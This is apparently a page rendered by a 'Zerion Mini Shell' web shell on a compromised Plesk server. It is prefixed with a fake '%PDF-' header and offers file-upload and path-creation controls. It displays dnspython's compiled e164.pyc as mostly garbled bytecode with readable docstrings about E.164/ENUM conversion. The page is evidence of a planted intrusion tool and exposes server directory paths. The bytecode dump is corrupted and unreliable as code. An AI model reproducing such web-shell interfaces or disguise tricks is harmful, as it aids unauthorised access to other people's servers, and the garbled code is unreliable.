%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /opt/plesk/python/2.7/lib/python2.7/site-packages/dns/
Upload File :
Create Path :
Current File : //opt/plesk/python/2.7/lib/python2.7/site-packages/dns/e164.pyc

�
�ac@s}dZddlZddlZddlZddlmZmZejj	d�Z
e
d�Ze
ed�Z
dd�ZdS(	sDNS E.164 helpers.i����Ni(tstring_typestmaybe_decodes
e164.arpa.cCsNg|D]}|j�r|^q}|j�tjjdj|�d|�S(s�Convert an E.164 number in textual form into a Name object whose
    value is the ENUM domain name for that number.

    Non-digits in the text are ignored, i.e. "16505551212",
    "+1.650.555.1212" and "1 (650) 555-1212" are all the same.

    *text*, a ``text``, is an E.164 number in textual form.

    *origin*, a ``dns.name.Name``, the domain in which the number
    should be constructed.  The default is ``e164.arpa.``.

    Returns a ``dns.name.Name``.
    t.torigin(tisdigittreversetdnstnamet	from_texttjoin(ttextRtdtparts((s=/opt/plesk/python/2.7/lib/python2.7/site-packages/dns/e164.pyt	from_e164s%
cCs�|dk	r|j|�}ng|jD]*}|j�r(t|�dkr(|^q(}t|�t|j�kr�tjjd��n|j�dj	|�}|r�d|}nt
|�S(s�Convert an ENUM domain name into an E.164 number.

    Note that dnspython does not have any information about preferred
    number formats within national numbering plans, so all numbers are
    emitted as a simple string of digits, prefixed by a '+' (unless
    *want_plus_prefix* is ``False``).

    *name* is a ``dns.name.Name``, the ENUM domain name.

    *origin* is a ``dns.name.Name``, a domain containing the ENUM
    domain name.  The name is relativized to this domain before being
    converted to text.  If ``None``, no relativization is done.

    *want_plus_prefix* is a ``bool``.  If True, add a '+' to the beginning of
    the returned number.

    Returns a ``text``.

    is$non-digit labels in ENUM domain namett+N(tNonet
relativizetlabelsRtlenRt	exceptiontSyntaxErrorRR	R(RRtwant_plus_prefixRtdlabelsR
((s=/opt/plesk/python/2.7/lib/python2.7/site-packages/dns/e164.pytto_e1641s:

cCs�|dkrtjj�}ntjj�}x�|D]y}t|t�r^tjj|�}ntj	j
||�}y|j|d�SWq4tjjk
r�}||7}q4Xq4W|�dS(sLook for NAPTR RRs for the specified number in the specified domains.

    e.g. lookup('16505551212', ['e164.dnspython.org.', 'e164.arpa.'])

    *number*, a ``text`` is the number to look for.

    *domains* is an iterable containing ``dns.name.Name`` values.

    *resolver*, a ``dns.resolver.Resolver``, is the resolver to use.  If
    ``None``, the default resolver is used.
    tNAPTRN(RRtresolvertget_default_resolvertNXDOMAINt
isinstanceRRRte164R
tquery(tnumbertdomainsRte_nxtdomaintqnamete((s=/opt/plesk/python/2.7/lib/python2.7/site-packages/dns/e164.pyRQs

(t__doc__t
dns.exceptionRtdns.nametdns.resolvert_compatRRRRtpublic_enum_domainR
tTrueRRR(((s=/opt/plesk/python/2.7/lib/python2.7/site-packages/dns/e164.pyt<module>s 

Zerion Mini Shell 1.0